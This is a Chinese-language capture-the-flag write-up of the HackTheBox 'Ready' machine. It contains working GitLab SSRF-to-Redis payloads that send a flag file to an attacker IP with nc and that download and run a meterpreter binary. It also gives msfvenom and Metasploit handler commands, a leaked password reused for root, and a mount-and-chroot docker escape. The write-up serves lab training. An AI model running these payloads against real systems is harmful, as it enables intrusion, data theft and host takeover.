HTB-Ready

概述

这个盒子是比较典型的Linux web应用场景，另外还涉及到docker容器逃逸。user flag获取比较直接，通过GitLab的SSRF漏洞直接干穿到主机。root的获取需要一定的技巧，考察linux主机上信息搜集的能力，还有就是docker容器逃逸，总体来讲还是非常经典的。

信息收集

nmap

image-20201226162132465.png

从扫描结果看，目标服务器是Unbutu主机，上面跑着GitLab，另外尝试用Dirbuster爆破目录没有发现可利用的点

用浏览器访问目标的5080端口，查看Help页的时候看到GitLab的版本是11.4.7，这里通过google直接搜索Gitlab的RCE漏洞很快找到了可利用的点，这是一个SSRF漏洞，作者还贴心的配了视频。

image-20201226162411413.png

根据视频中的讲解，在New project > Import project > Repo by URL 这里存在SSRF问题，根据文章的描述，payload如下：

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
 multi
 sadd resque:gitlab:queues system_hook_push
 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| cat /home/dude/user.txt | nc 10.10.14.68 1234\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
 exec
 exec
/ssrf.git 

先在本地起监听nc -lvp 1234，使用BurpSuite拦截一个请求，修改请求内容，这里要注意project name和project path不能重复，否则服务端会返回报错并且代码不会得到执行，所以每次请求完以后要改一下这两个地方；

将上述payload替换到project_import_url后面，如下图所示

image-20201226163053932.png

落脚点

虽然现在我们已经通过GitLab的SSRF漏洞获取到flag但是在进一步收集信息之前还是有必要获取一个稳定的shell，笔者也尝试了几种reverse shell注入的姿势，奈何都没有成功。这里我们采用meterpreter获取shell

1. 生成木马：

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.68 LPORT=4444 -f elf > payload.elf

2. 把payload.elf放到kali的apache2目录下/var/www/html/tools准备让目标机器下载
3. 在kali上面开启msfconsole执行监听

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 10.10.14.68
set lport 4444
run

4. 重新构造SSRF的payload，用burpsuit发出去，让目标机器用wget下载木马，改个名字，加上权限然后执行连接

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
 multi
 sadd resque:gitlab:queues system_hook_push
 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| wget http://10.10.14.68/tools/payload.elf; mv payload.elf git; chmod 777 git; ./git; ls -l | nc 10.10.14.68 1234\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
 exec
 exec
/ssrf.git

metasploit获取到shell，如下图：

image-20201230192506216.png

提权

拿到shell以后，上传linpeas.sh收集信息，从收集到的信息里看到几个包含password的文件在/opt/backup目录下，其中有一串明文口令gitlab_rails['smtp_password'] = 'wW59U!ZKMbG9+*#h'，先记录一下。

通过大佬的提示得知，user shell是在一个容器里面，要获取root还必须逃逸到容器外面
可以通过查看PID=1的进程判断当前是否是在容器了，但是这种判断方式也不是100%准确，具体来说
在linux下面，PID=1的进程是init或者systemd；而在容器下查看ls -l /proc/1/exe 指向的一般是其他的应用进程

image-20201230212546613.png

尝试用su切换到root，提示su: must be run from a terminal，尝试用python获取一个完整的shell，发现环境变量里面没有python，经过一番查找发现python装到了其他位置，于是用如下命令获取shell

/opt/gitlab/embedded/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'

拿到shell以后su到root，提示输入口令，这时把前面收集到的口令拿来尝试一番，发现root口令

image-20201230192344337.png

拿到容器的root以后，尝试逃逸到宿主机，payload如下：

s=$(cat /proc/cmdline)
uuid=$(echo ${s#*root=} | cut -d " " -f 1)
echo $uuid
mkdir /tmp/charlesliu
mount $uuid /tmp/charlesliu
chroot /tmp/charlesliu

image-20201230192204635.png

拿到root